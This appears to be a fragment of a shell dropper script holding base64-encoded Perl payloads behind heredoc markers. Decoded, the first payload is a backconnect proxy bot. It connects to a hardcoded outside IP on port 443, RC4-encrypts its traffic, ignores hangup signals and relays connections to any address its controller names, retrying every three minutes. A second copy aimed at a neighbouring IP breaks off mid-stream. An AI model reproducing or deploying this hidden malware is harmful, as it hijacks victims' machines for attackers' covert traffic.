Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_48() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ 